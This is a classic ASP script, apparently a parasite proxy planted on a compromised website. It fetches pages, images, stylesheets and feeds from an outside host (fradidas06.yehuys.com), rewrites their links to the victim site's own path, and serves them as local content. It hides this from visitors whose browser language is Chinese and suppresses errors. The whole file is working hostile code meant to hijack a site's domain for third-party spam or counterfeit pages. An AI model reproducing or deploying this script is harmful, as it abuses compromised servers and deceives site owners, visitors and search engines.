<%@LANGUAGE="VBScript.Encode" CODEPAGE="65001"%> <% on error resume next thissite="" fromsite="http://fradidas06.yehuys.com" path="fradidas.asp?" thispage="" dim filetype(8,1) filetype(0,0)=".png" filetype(0,1)="image/png" filetype(1,0)=".jpg" filetype(1,1)="image/jpg" filetype(2,0)=".jpeg" filetype(2,1)="image/jpeg" filetype(3,0)=".gif" filetype(3,1)="image/gif" filetype(4,0)=".css" filetype(4,1)="text/css" filetype(5,0)=".js" filetype(5,1)="text/javascript" filetype(6,0)=".atom" filetype(6,1)="application/atom+xm" filetype(7,0)=".xml" filetype(7,1)="text/xml" filetype(8,0)="/feed" filetype(8,1)="text/xml; charset=UTF-8" Function getHTTPPage(URL,Types) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function if Types=0 then getHTTPPage = Bytes2Bytes(HTTPReq.responseBody) else getHTTPPage = Bytes2bStr(HTTPReq.responseBody) end if Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "utf-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function Function Bytes2Bytes(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 1 BytesStream.Open BytesStream.Write vin BytesStream.Position = 0 BytesReturn =BytesStream.Read() BytesStream.close Set BytesStream = Nothing Bytes2Bytes = BytesReturn End Function function parentn(path) dim i path=replace(path,"\","/") for i=0 to len(path)-1 if mid(path,len(path)-i,1)="/" or mid(path,len(path)-i,1)="" then exit for end if next parentn=left(path,len(path)-i-1) end function REFERER = Cstr(Request.ServerVariables("HTTP_REFERER")) lan=Request.ServerVariables("HTTP_ACCEPT_LANGUAGE") q=request.ServerVariables("QUERY_STRING") q=replace(q,thissite&path&"/",thissite&path) q=replace(q,".css&",".css?") q=replace(q,"&p=","?p=") q=replace(q,"p=","?p=") q=replace(q,".php&rsd",".php?rsd") q=replace(q,".js&",".js?") If instr(1,lan,"zh",1)>0 Then elseif InStr(LCase(q),".png")>0 or InStr(LCase(q),".jpg")>0 or InStr(LCase(q),".gif")>0 or InStr(LCase(q), ".jpeg")>0 then htmls = getHTTPPage(fromsite&"/"&q,0) For i = 0 To 3 if(InStr(LCase(q),filetype(i,0))>0) then response.ContentType =filetype(i,1) exit for else end if Next Response.BinaryWrite htmls response.end else htmls = getHTTPPage(fromsite&"/"&q,1) htmls = replace(htmls,fromsite,thissite&path&thispage) htmls = replace(htmls,thissite&path&"/",thissite&path) if(InStr(q,".css")>0) then htmls = replace(htmls,"url(""","url("""&thissite&path&thispage&"?"&parentn(q)&"/") end if For i = 4 To UBound(filetype,1) if(InStr(q,filetype(i,0))>0) then response.ContentType =filetype(i,1) exit for else end if Next response.write htmls end if %>